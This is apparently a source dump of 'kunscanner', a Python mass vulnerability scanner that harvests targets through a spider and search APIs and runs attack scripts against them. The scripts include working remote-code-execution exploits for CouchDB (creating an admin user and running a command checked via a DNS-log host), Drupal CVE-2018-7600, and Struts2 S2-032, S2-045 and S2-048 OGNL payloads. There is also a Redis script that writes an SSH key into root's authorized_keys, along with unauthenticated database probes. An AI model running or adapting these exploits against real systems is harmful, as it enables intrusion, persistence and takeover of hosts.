50 | if self.max_number > 60000:
51 | self.max_number = 60000
52 | self.spider_queue_number = 1
53 | self.spider_all_number = 1
54 | elif self.spider_type == 3:
55 | pass
56 | self.threads = int(conf.SPIDER_THREADS)
57 | self.ignore_domains = LoadDict(path.DICT_PATH+conf.SPIDER_IGNORE_DOMAIN_FILE)
58 | self.domain_list = []
59 |
60 |
61 | def InitSetting(self, scanner_mode, scan_args):
62 | SetLogger()
63 | SetPath()
64 | SetConfig()
65 | if scanner_mode == SCANNER_MODE.CONSOLE:
66 | SetArgs(scanner_mode, CmdLineParser())
67 | else:
68 | SetArgs(scanner_mode, scan_args)
69 | SetOptions()
70 |
71 | def RunSpider(self):
72 | msg = OutPutPadding('The spider started to run', MESSAGE_LEVEL.INFO_LEVEL)
73 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
74 | self.domain_queue.put(self.domain)
75 | self.spider_queue.put(self.domain)
76 | if self.spider_type == int(SPIDER_TYPE.DEPTH_SPIDER):
77 | pass
78 | if self.spider_type == int(SPIDER_TYPE.NUMBER_SPIDER):
79 | self.lock = threading.Lock()
80 | self.spider_status = True
81 | self.spider_info['spider_status'] = self.spider_status
82 | self.GetEnoughDomian()
83 | thread_list = []
84 | for i in range(0, self.threads):
85 | t = threading.Thread(target=self.MaxNumberSpider, args=(i,))
86 | t.start()
87 | thread_list.append(t)
88 | for t in thread_list:
89 | t.join()
90 | msg = OutPutPadding('The spider is over', MESSAGE_LEVEL.INFO_LEVEL)
91 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
92 | msg = OutPutPadding('The number of targets found by the spider: {0}'.format(str(self.spider_all_number)),
93 | MESSAGE_LEVEL.INFO_LEVEL)
94 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
95 | self.spider_info['spider_status'] = False
96 |
97 | def GetEnoughDomian(self):
98 | while self.spider_queue.qsize() < self.threads:
99 | try:
100 | domain = self.spider_queue.get(timeout=int(conf.QUEUE_TIMEOUT))
101 | except:
102 | break
103 | self.spider_queue_number -= 1
104 | self.spider_info['spider_queue_size'] = self.spider_queue_number
105 | header = GetHeader()
106 | try:
107 | req = requests.get(domain, headers=header, timeout=int(conf.SPIDER_REQUESTS_TIMEOUT))
108 | except Exception, e:
109 | RequestsException(e, EXCEPYION_POSITION.SPIDER, MESSAGE_LEVEL.WARNING_LEVEL, domain)
110 | continue
111 | domains = re.findall(re.compile(r'href\s*=\s*"(http://.*?|https://.*?)"'), req.text)
112 | self.AddToQueue(domains)
113 |
114 | def MaxNumberSpider(self, thread_id):
115 | while True:
116 | if self.spider_all_number <= self.max_number and self.spider_status == True:
117 | try:
118 | domain = self.spider_queue.get(timeout=int(conf.QUEUE_TIMEOUT))
119 | self.lock.acquire()
120 | self.spider_queue_number -= 1
121 | self.spider_info['spider_queue_size'] = self.spider_queue_number
122 | self.lock.release()
123 | except Exception:
124 | self.StopSpiderThread()
125 | break
126 | try:
127 | req = requests.get(domain, timeout=int(conf.SPIDER_REQUESTS_TIMEOUT))
128 | except Exception, e:
129 | RequestsException(e, EXCEPYION_POSITION.SPIDER, MESSAGE_LEVEL.WARNING_LEVEL, domain)
130 | continue
131 | domains = re.findall(re.compile(r'href\s*=\s*"(http://.*?|https://.*?)"'), req.text)
132 | self.AddToQueue(domains)
133 | else:
134 | self.StopSpiderThread()
135 | break
136 |
137 | def MaxDepthSpider(self):
138 | pass
139 |
140 |
141 | def AddToQueue(self, domains):
142 | for domain in domains:
143 | domain = Encode(domain)
144 | try:
145 | domain_netloc = urlparse.urlparse(domain).netloc
146 | except:
147 | continue
148 | if self.DuplicateCheck(domain_netloc) == False or self.IgnoreCheck(domain_netloc) == False:
149 | continue
150 | self.domain_queue.put(domain)
151 | self.spider_queue.put(domain)
152 | self.lock.acquire()
153 | self.spider_all_number += 1
154 | self.spider_queue_number += 1
155 | self.spider_info['spider_queue_size'] = self.spider_queue_number
156 | self.spider_info['domain_queue_sise'] = self.spider_all_number
157 | self.domain_list.append(domain_netloc)
158 | self.lock.release()
159 |
160 | def DuplicateCheck(self, domain):
161 | if domain not in self.domain_list:
162 | return True
163 | else:
164 | return False
165 |
166 | def IgnoreCheck(self, domain):
167 | val = tldextract.extract(domain)
168 | try:
169 | full_domain = "*.{0}.{1}".format(val.domain, val.suffix)
170 | except:
171 | return False
172 | if domain in self.ignore_domains or full_domain in self.ignore_domains:
173 | return False
174 | else:
175 | return True
176 |
177 |
178 | def StopSpiderThread(self):
179 | self.lock.acquire()
180 | self.spider_status = False
181 | self.lock.release()
182 |
--------------------------------------------------------------------------------
/kunscanner/lib/parse/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午4:22
3 | # @author : Xmchx
4 | # @File : __init__.py
--------------------------------------------------------------------------------
/kunscanner/lib/parse/cmdline.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午4:22
3 | # @author : Xmchx
4 | # @File : cmdline.py
5 |
6 | import sys
7 | import argparse
8 |
9 |
10 | def CmdLineParser():
11 | parser = argparse.ArgumentParser()
12 |
13 | target = parser.add_argument_group('TARGET')
14 | target.add_argument('-u', metavar='URL', dest="url", type=str, default=None,
15 | help="Scan a single target (e.g. www.wooyun.org)")
16 |
17 | target.add_argument('-i', metavar='IPS', dest="ip_segment", type=str, default=None,
18 | help="Load url from ipSegment(e.g. 192.168.0.1-254,192.168.0.1/24,10.10.10.1-10.10.20.255)")
19 |
20 | target.add_argument('-r', metavar='Traget File', dest="target_file", type=str, default=None,
21 | help="Load url from file")
22 |
23 | target.add_argument('--number', metavar='Tragte Number', dest="max_number", type=int, default=None,
24 | help="Maximum number of targets from the api or spider.")
25 |
26 | spider = parser.add_argument_group('SPIDER')
27 | spider.add_argument('--spider-url', metavar='Spider URL', dest='spider_init_url', type=str, default=None,
28 | help="Spider will start from this domain")
29 |
30 | api = parser.add_argument_group('API')
31 | api.add_argument('--zoomeye', metavar='Zoomeye Search Keyword', dest="zoomeye", type=str, default=None,
32 | help="Use zoomeye api to get the target (e.g. --zoomeye \"port:6379\")")
33 |
34 | api.add_argument('--baidu',metavar='Baidu Search Keyword', dest="baidu", type=str, default=None,
35 | help="Use baidu spider to get the target (e.g. --baidu inurl:/user/register)")
36 |
37 | api.add_argument('--subdomain',metavar='subDomainsBrute Result File', dest="subdomain", type=str, default=None,
38 | help="Load target from subDomainsBrute Result File (e.g. --subdomain baidu.com_full.txt)")
39 |
40 | api.add_argument('--zt',metavar='Zoomeye Search Type',dest="zoomeye_search_type",type=str,default=None,
41 | help="Zoomeye target type web or host,default setting (ZOOMEYE_SEARCH_TYPE)")
42 |
43 | script = parser.add_argument_group('SCRIPT')
44 | script.add_argument('--script', metavar='Script Name', dest='custom_scripts', type=str, default=None,
45 | help='The name of script to use')
46 |
47 | script.add_argument('--script-all', dest='all_scripts', action='store_true',
48 | help='Use all script for testing')
49 |
50 | script.add_argument('--script-info', metavar='Script Name Info', dest='custom_scripts_info', type=str, default=None,
51 | help='Show the details of the specified attack script')
52 |
53 | script.add_argument('--search',metavar='Search Script', dest='search_script', type=str, default=None,
54 | help='Search POC')
55 |
56 | script.add_argument('-s', dest='all_scripts_info', action='store_true',
57 | help='Show the details of the specified attack script')
58 |
59 | output = parser.add_argument_group('OUTPUT')
60 | output.add_argument('-o', metavar='Output File Name',dest='output_file_name', type=str, default=None,
61 | help='Show all currently available attack script')
62 |
63 | output.add_argument('--task-name', metavar='Scan Task Name', dest='task_name', type=str, default=None,
64 | help='The name of the scan task, only valid when opening the database storage (SAVE_RESULT_TO_DATABASE = true)')
65 |
66 | if len(sys.argv) == 1:
67 | sys.argv.append('-h')
68 |
69 | args = parser.parse_args()
70 | return args
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/31 上午11:39
3 | # @author : Xmchx
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/couchdb_exec.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/30 下午12:48
3 | # @author : Xmchx
4 | # @File : couchdb_exec.py
5 |
6 | '''
7 | couchdb会一直执行这条命令,不会执行一次后停止。
8 |
9 | 如果对应的是80,需要直接指明是80端口,不能只输入ip
10 | '''
11 |
12 |
13 | import json
14 | import requests
15 | from requests.auth import HTTPBasicAuth
16 | from collections import OrderedDict
17 | from kunscanner.lib.core.data import conf
18 | from kunscanner.lib.utils.utils import RandomString,GetNetloc,DomainToIP
19 | from kunscanner.lib.utils.ceye import CeyeApi
20 | from kunscanner.lib.core.exception import PocWarningException
21 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
22 |
23 | def Info():
24 | poc_info = OrderedDict()
25 | poc_info['name'] = "couchdb_exec"
26 | poc_info['info'] = "couchdb remote code execution (CVE-2017–12635 CVE–2017–12636)"
27 | poc_info['title'] = u'CouchDB远程代码执行'
28 | poc_info['author'] = "hayasec"
29 | poc_info['time'] = "2018.04.30"
30 | poc_info['type'] = 'attack'
31 | poc_info['level'] = SCRIPT_LEVEL.HIGH
32 | return poc_info
33 |
34 |
35 | def Poc(url):
36 | init_url = url
37 | result = {}
38 | result['success'] = False
39 | result['message'] = ''
40 |
41 | try:
42 | if ':' in GetNetloc(url):
43 | port = GetNetloc(url).split(':')[1]
44 | else:
45 | port = '5984'
46 | ip = DomainToIP(GetNetloc(url))
47 | if ip == None:
48 | return result
49 | if ':' in ip:
50 | ip = ip.split(':')[0]
51 | url = GetNetloc(ip+':'+port,True)
52 | version = GetVersion(url)
53 | AddUser(url)
54 | rangom_string = RandomString()
55 | command = '"ping -n 2 %s"'% (rangom_string+'.'+conf.CEYE_DOMAIN)
56 | CmeExec(url, command, version)
57 | data = CheckDnsLog(rangom_string)
58 | if data != False:
59 | result['success'] = True
60 | result['message'] = 'remote_addr:' + data[0]['remote_addr'] +' name: '+data[0]['name']
61 | return result
62 | except Exception,e:
63 | raise PocWarningException(init_url,Info()['name'],repr(e))
64 |
65 |
66 |
67 |
68 | def GetVersion(url):
69 | response = requests.get(url,timeout = 20)
70 | db_version = json.loads(response.text)
71 | return int(db_version['version'][0:1])
72 |
73 |
74 | def AddUser(url):
75 | path = r'_users/org.couchdb.user:wooyun'
76 | headers = {
77 | 'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
78 | 'Content-Type': 'application/json',
79 | }
80 |
81 | data = b"""
82 | {
83 | "type": "user",
84 | "name": "wooyun",
85 | "roles": ["_admin"],
86 | "roles":[],
87 | "password": "wooyun"
88 | }
89 | """
90 | full_url = url + path
91 | requests.put(url=full_url, headers=headers, data=data,timeout = 5)
92 |
93 |
94 | def CmeExec(target, command, version):
95 | session = requests.session()
96 | session.headers = {
97 | 'Content-Type': 'application/json'
98 | }
99 | session.put(target + '_users/org.couchdb.user:wooyun', data='''{
100 | "type": "user",
101 | "name": "wooyun",
102 | "roles": ["_admin"],
103 | "roles": [],
104 | "password": "wooyun"
105 | }''',timeout = 5)
106 | session.auth = HTTPBasicAuth('wooyun', 'wooyun')
107 | if version == 1:
108 | session.put(target + ('_config/query_servers/cmd'), data=command,timeout = 5)
109 | else:
110 | host = session.get(target + '_membership').json()['all_nodes'][0]
111 | session.put(target + '_node/{}/_config/query_servers/cmd'.format(host), data=command,timeout = 5)
112 |
113 | session.put(target + 'wooyun',timeout = 5)
114 | session.put(target + 'wooyun/test', data='{"_id": "wooyuntest"}',timeout = 5)
115 |
116 | if version == 1:
117 | try:
118 | session.post(target + 'wooyun/_temp_view?limit=10', data='{"language":"cmd","map":""}',timeout = 5)
119 | except:
120 | pass
121 | else:
122 | try:
123 | session.put(target + 'wooyun/_design/test', data='{"_id":"_design/test","views":{"wooyun":{"map":""} },"language":"cmd"}')
124 | except:
125 | pass
126 |
127 |
128 | def CheckDnsLog(rangom_string):
129 | result = CeyeApi(rangom_string)
130 | if result != False:
131 | return result
132 | else:
133 | return False
134 |
135 |
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/drupal/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/27 上午1:52
3 | # @author : Xmchx
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/drupal/drupal_exec_7600.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/14 下午3:14
3 | # @author : Xmchx
4 | # @File : drupal_exec_7600.py
5 |
6 | #https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py
7 |
8 | import socket
9 | import requests
10 | from collections import OrderedDict
11 | from kunscanner.lib.utils.utils import GetNetloc, RandomString
12 | from kunscanner.lib.core.exception import PocWarningException
13 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
14 |
15 |
16 |
17 | def Info():
18 | poc_info = OrderedDict()
19 | poc_info['name'] = "drupal_exec_7600"
20 | poc_info['info'] = "drupal core remote code execution (CVE-2018-7600)"
21 | poc_info['title'] = u'Drupal远程命令执行'
22 | poc_info['author'] = "a2u"
23 | poc_info['time'] = "2018.04.14"
24 | poc_info['type'] = 'attack'
25 | poc_info['level'] = SCRIPT_LEVEL.HIGH
26 | return poc_info
27 |
28 |
29 |
30 | def Poc(url):
31 | init_url = url
32 | socket.setdefaulttimeout(5)
33 | result = {}
34 | result['success'] = False
35 | result['message'] = ''
36 | try:
37 | random_str = RandomString()
38 | url = GetNetloc(url, True)
39 | target = url + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
40 | payload = {'form_id': 'user_register_form', '_drupal_ajax': '1', 'mail[#post_render][]': 'exec',
41 | 'mail[#type]': 'markup', 'mail[#markup]': 'echo '+random_str+' | tee '+random_str+'.txt'}
42 | r = requests.post(target, data=payload, timeout = 5)
43 | if r.status_code != 200:
44 | return result
45 | else:
46 | r = requests.get(url+'/'+random_str+'.txt', timeout = 5)
47 | if r.status_code == 200 and random_str == r.text.strip():
48 | result['success'] = True
49 | result['message'] = 'random_file: /'+random_str+'.txt'
50 | return result
51 | except Exception,e:
52 | raise PocWarningException(init_url, Info()['name'], repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/redis/redis_sshkey_getshell.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/26 下午10:06
3 | # @author : Xmchx
4 | # @File : redis_sshkey_getshell.py
5 |
6 |
7 | import redis
8 | import paramiko
9 | import time
10 | from collections import OrderedDict
11 | from kunscanner.lib.utils.utils import RandomString,DomainToIP,CheckPort,GetNetloc
12 | from paramiko.ssh_exception import SSHException
13 | from kunscanner.lib.core.exception import PocWarningException,PocErrorException
14 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
15 |
16 | def Info():
17 | poc_info = OrderedDict()
18 | poc_info['name'] = "redis_sshkey_getshell"
19 | poc_info['info'] = "redis unauthorized and set sshkey getshell"
20 | poc_info['title'] = u'Redis写入SSH key'
21 | poc_info['author'] = "i@cdxy.me"
22 | poc_info['time'] = "2018.04.27"
23 | poc_info['type'] = 'attack'
24 | poc_info['level'] = SCRIPT_LEVEL.HIGH
25 | return poc_info
26 |
27 |
28 | def Poc(url):
29 | init_url = url
30 | public_key = '1'
31 |
32 | if public_key == '':
33 | raise PocErrorException('Poc:redis_sshkey_getshell Public_key is none! please input public_key.')
34 | result = {}
35 | result['success'] = False
36 | result['message'] = ''
37 | try:
38 | url = GetNetloc(url)
39 | url = DomainToIP(url)
40 | ip = url.split(':')[0]
41 | port = int(url.split(':')[-1]) if ':' in url else 6379
42 | if not CheckPort(ip, 22):
43 | return result
44 | r = redis.Redis(host=ip, port=port, db=0, socket_timeout=2, socket_connect_timeout=2)
45 | if 'redis_version' in r.info():
46 | key = RandomString(10)
47 | r.set(key, '\n\n' + public_key + '\n\n')
48 | r.config_set('dir', '/root/.ssh')
49 | r.config_set('dbfilename', 'authorized_keys')
50 | r.save()
51 | r.delete(key)
52 | r.config_set('dir', '/tmp')
53 | time.sleep(5)
54 | if testConnect(ip, 22):
55 | result['success'] = True
56 | return result
57 | return result
58 | except Exception,e:
59 | raise PocWarningException(init_url, Info()['name'], repr(e))
60 |
61 |
62 | def testConnect(ip, port=22):
63 | private_key = '1'
64 | if private_key == '':
65 | raise PocErrorException('Poc:redis_sshkey_getshell Private_key is none! please input private_key.')
66 | try:
67 | s = paramiko.SSHClient()
68 | s.load_system_host_keys()
69 | s.connect(ip, port, username='root', pkey=private_key, timeout=2)
70 | s.close()
71 | return True
72 | except Exception, e:
73 | if type(e) == SSHException:
74 | return True
75 | return False
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/struts2/s2_032.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/15 下午12:20
3 | # @author : Xmchx
4 | # @File : s2_032.py
5 |
6 |
7 | from collections import OrderedDict
8 | from kunscanner.lib.utils.utils import AddScheme, RandomString, FuzzAction
9 | import httplib
10 | httplib.HTTPConnection._http_vsn = 10
11 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
12 | import requests
13 | import socket
14 | from kunscanner.lib.core.exception import PocWarningException
15 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
16 |
17 | def Info():
18 | poc_info = OrderedDict()
19 | poc_info['name'] = "s2_032"
20 | poc_info['info'] = "struts2-032 remote code execution (CVE-2016-3081)"
21 | poc_info['title'] = u"Struts2-032远程代码执行"
22 | poc_info['author'] = "Xmchx"
23 | poc_info['time'] = "2018.04.15"
24 | poc_info['type'] = 'attack'
25 | poc_info['level'] = SCRIPT_LEVEL.HIGH
26 | return poc_info
27 |
28 |
29 |
30 | def Poc(url):
31 | init_url = url
32 | result = {}
33 | result['success'] = False
34 | result['message'] = ''
35 |
36 | try:
37 | socket.setdefaulttimeout(5)
38 | random_str = RandomString()
39 | url = AddScheme(url)
40 | targets = FuzzAction(url)
41 | payload = '''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=echo '''+random_str
42 | for target in targets:
43 | r = requests.get(target+payload, timeout=5)
44 | if random_str in r.text and 'html' not in r.text:
45 | result['message'] = target
46 | result['success'] = True
47 | return result
48 | return result
49 | except Exception,e:
50 | raise PocWarningException(init_url,Info()['name'],repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/struts2/s2_045.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/15 下午12:53
3 | # @author : Xmchx
4 | # @File : s2_045.py
5 |
6 |
7 | from collections import OrderedDict
8 | from kunscanner.lib.utils.utils import AddScheme, RandomString, GetUserAgent
9 | import httplib
10 | httplib.HTTPConnection._http_vsn = 10
11 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
12 | import requests
13 | import socket
14 | from kunscanner.lib.core.exception import PocWarningException
15 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
16 |
17 | def Info():
18 | poc_info = OrderedDict()
19 | poc_info['name'] = "s2_045"
20 | poc_info['info'] = "struts2-045 remote code execution (CVE-2017-5638)"
21 | poc_info['title'] = u"Struts2-045远程代码执行"
22 | poc_info['author'] = "Xmchx"
23 | poc_info['time'] = "2018.04.15"
24 | poc_info['type'] = 'attack'
25 | poc_info['level'] = SCRIPT_LEVEL.HIGH
26 | return poc_info
27 |
28 |
29 |
30 | def Poc(url):
31 | init_url = url
32 | result = {}
33 | result['success'] = False
34 | result['message'] = ''
35 |
36 | try:
37 | socket.setdefaulttimeout(5)
38 | random_str = RandomString()
39 | payload = {
40 | "User-Agent": GetUserAgent(),
41 | "Content-Type": "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\"echo " + random_str + "\").(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
42 | }
43 | r = requests.get(url, headers = payload, timeout=5)
44 | if random_str in r.text and 'html' not in r.text:
45 | result['message'] = url
46 | result['success'] = True
47 | return result
48 | except Exception,e:
49 | raise PocWarningException(init_url,Info()['name'],repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/struts2/s2_048.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/15 上午1:01
3 | # @author : Xmchx
4 | # @File : s2_048.py
5 |
6 | from collections import OrderedDict
7 | from kunscanner.lib.utils.utils import AddScheme, RandomString
8 | import httplib
9 | httplib.HTTPConnection._http_vsn = 10
10 | httplib.HTTPConnection._http_vsn_str = 'HTTP/1.0'
11 | import requests
12 | import socket
13 | from kunscanner.lib.core.exception import PocWarningException
14 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
15 |
16 | def Info():
17 | poc_info = OrderedDict()
18 | poc_info['name'] = "s2_048"
19 | poc_info['info'] = "struts2-048 remote code execution (CVE-2017-9791)"
20 | poc_info['title'] = u"Struts2-048远程代码执行"
21 | poc_info['author'] = "Xmchx"
22 | poc_info['time'] = "2018.04.15"
23 | poc_info['type'] = 'attack'
24 | poc_info['level'] = SCRIPT_LEVEL.HIGH
25 | return poc_info
26 |
27 |
28 |
29 | def Poc(url):
30 | init_url = url
31 | result = {}
32 | result['success'] = False
33 | result['message'] = ''
34 |
35 | try:
36 | socket.setdefaulttimeout(5)
37 | random_str = RandomString()
38 | url = AddScheme(url)
39 | payload = {
40 | 'name':'''%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=#parameters.cmd[0]).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}''',
41 | 'age': '1',
42 | '__checkbox_bustedBefore': 'true',
43 | 'description': '1',
44 | 'cmd':'echo '+random_str
45 | }
46 | r = requests.post(url+'/struts2-showcase/integration/saveGangster.action', data=payload, timeout=5)
47 | if random_str in r.text and 'html' not in r.text:
48 | result['message'] = url+'/struts2-showcase/integration/saveGangster.action'
49 | result['success'] = True
50 | r = requests.post(url + '/integration/saveGangster.action', data=payload, timeout=5)
51 | if random_str in r.text and 'html' not in r.text:
52 | result['message'] = url + '/integration/saveGangster.action'
53 | result['success'] = True
54 | return result
55 | except Exception,e:
56 | raise PocWarningException(init_url,Info()['name'],repr(e))
57 |
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/unauth/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/31 上午11:39
3 | # @author : Xmchx
4 | # @File : __init__.py.py
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/unauth/memcached_unauth.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/4/29 上午11:21
3 | # @author : Xmchx
4 | # @File : memcached_unauth.py
5 |
6 |
7 | import socket
8 | import re
9 | from collections import OrderedDict
10 | from kunscanner.lib.utils.utils import GetNetloc, DomainToIP, DelPort
11 | from kunscanner.lib.core.exception import PocWarningException
12 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
13 |
14 | def Info():
15 | poc_info = OrderedDict()
16 | poc_info['name'] = "memcached_unauth"
17 | poc_info['info'] = "memcached unauthorized access vulnerability"
18 | poc_info['title'] = u"Memcached未授权访问"
19 | poc_info['author'] = "i@cdxy.me"
20 | poc_info['time'] = "2018.04.29"
21 | poc_info['type'] = 'attack'
22 | poc_info['level'] = SCRIPT_LEVEL.MEDIUM
23 | return poc_info
24 |
25 |
26 |
27 | def Poc(url):
28 | init_url = url
29 | result = {}
30 | result['success'] = False
31 | result['message'] = ''
32 |
33 | try:
34 | socket.setdefaulttimeout(3)
35 | url = GetNetloc(url)
36 | ip = DomainToIP(url)
37 | if ip == None:
38 | return result
39 | port = int(ip.split(':')[-1]) if ':' in ip else 11211
40 | ip = DelPort(ip)
41 | payload = '\x73\x74\x61\x74\x73\x0a'
42 | s = socket.socket()
43 | s.connect((ip, port))
44 | s.send(payload)
45 | recvdata = s.recv(2048)
46 | s.close()
47 | if recvdata and 'STAT version' in recvdata:
48 | result['success'] = True
49 | result['message'] = 'version:' + ''.join(re.findall(r'version\s(.*?)\s', recvdata))
50 | return result
51 | except Exception,e:
52 | raise PocWarningException(init_url,Info()['name'],repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/unauth/mongodb_unauth.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/25 上午1:41
3 | # @author : Xmchx
4 | # @File : mongodb_unauth.py
5 |
6 |
7 | from collections import OrderedDict
8 | import pymongo
9 | from kunscanner.lib.utils.utils import DelPort, GetNetloc, DomainToIP
10 | from kunscanner.lib.core.exception import PocWarningException
11 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
12 |
13 | def Info():
14 | poc_info = OrderedDict()
15 | poc_info['name'] = "mongodb_unauth"
16 | poc_info['info'] = "mongodb unauthorized access vulnerability"
17 | poc_info['title'] = u"Mongodb未授权访问"
18 | poc_info['author'] = "i@cdxy.me"
19 | poc_info['time'] = "2018.03.03"
20 | poc_info['type'] = 'attack'
21 | poc_info['level'] = SCRIPT_LEVEL.HIGH
22 | return poc_info
23 |
24 |
25 | def Poc(url):
26 | init_url = url
27 | result = {}
28 | result['success'] = False
29 | result['message'] = ''
30 | try:
31 | url = GetNetloc(url)
32 | ip = DomainToIP(url)
33 | if ip == None:
34 | return result
35 | port = int(ip.split(':')[-1]) if ':' in ip else 27017
36 | ip = DelPort(ip)
37 | MONGO_URI = 'mongodb://'+ip+':'+str(port)+'/'
38 | conn = pymongo.MongoClient(MONGO_URI, serverSelectionTimeoutMS=3000)
39 | dbs = conn.database_names()
40 | result['success'] = True
41 | result['message'] = str(dbs)
42 | return result
43 | except Exception,e:
44 | raise PocWarningException(init_url,Info()['name'],repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/unauth/redis_unauth.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/25 上午1:41
3 | # @author : Xmchx
4 | # @File : redis_unauth.py
5 |
6 |
7 | import socket
8 | from collections import OrderedDict
9 |
10 | from kunscanner.lib.utils.utils import DelPort,GetNetloc,DomainToIP
11 | from kunscanner.lib.core.exception import PocWarningException
12 | from kunscanner.lib.core.enums import SCRIPT_LEVEL
13 |
14 |
15 | def Info():
16 | poc_info = OrderedDict()
17 | poc_info['name'] = "redis_unauth"
18 | poc_info['info'] = "redis unauthorized access vulnerability"
19 | poc_info['title'] = u'Redis未授权访问'
20 | poc_info['author'] = "i@cdxy.me"
21 | poc_info['time'] = "2018.03.03"
22 | poc_info['type'] = 'attack'
23 | poc_info['level'] = SCRIPT_LEVEL.MEDIUM
24 | return poc_info
25 |
26 |
27 |
28 | def Poc(url):
29 | init_url = url
30 | result = {}
31 | result['success'] = False
32 | result['message'] = ''
33 |
34 | try:
35 | socket.setdefaulttimeout(3)
36 | url = GetNetloc(url)
37 | ip = DomainToIP(url)
38 | if ip == None:
39 | return result
40 | payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
41 | port = int(ip.split(':')[-1]) if ':' in ip else 6379
42 | ip = DelPort(ip)
43 | s = socket.socket()
44 | s.connect((ip, port))
45 | s.send(payload)
46 | recvdata = s.recv(1024)
47 | s.close()
48 | if recvdata and 'redis_version' in recvdata:
49 | result['success'] = True
50 | return result
51 | except Exception,e:
52 | raise PocWarningException(init_url, Info()['name'], repr(e))
53 |
--------------------------------------------------------------------------------
/kunscanner/lib/scripts/weakfile/weakfile.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
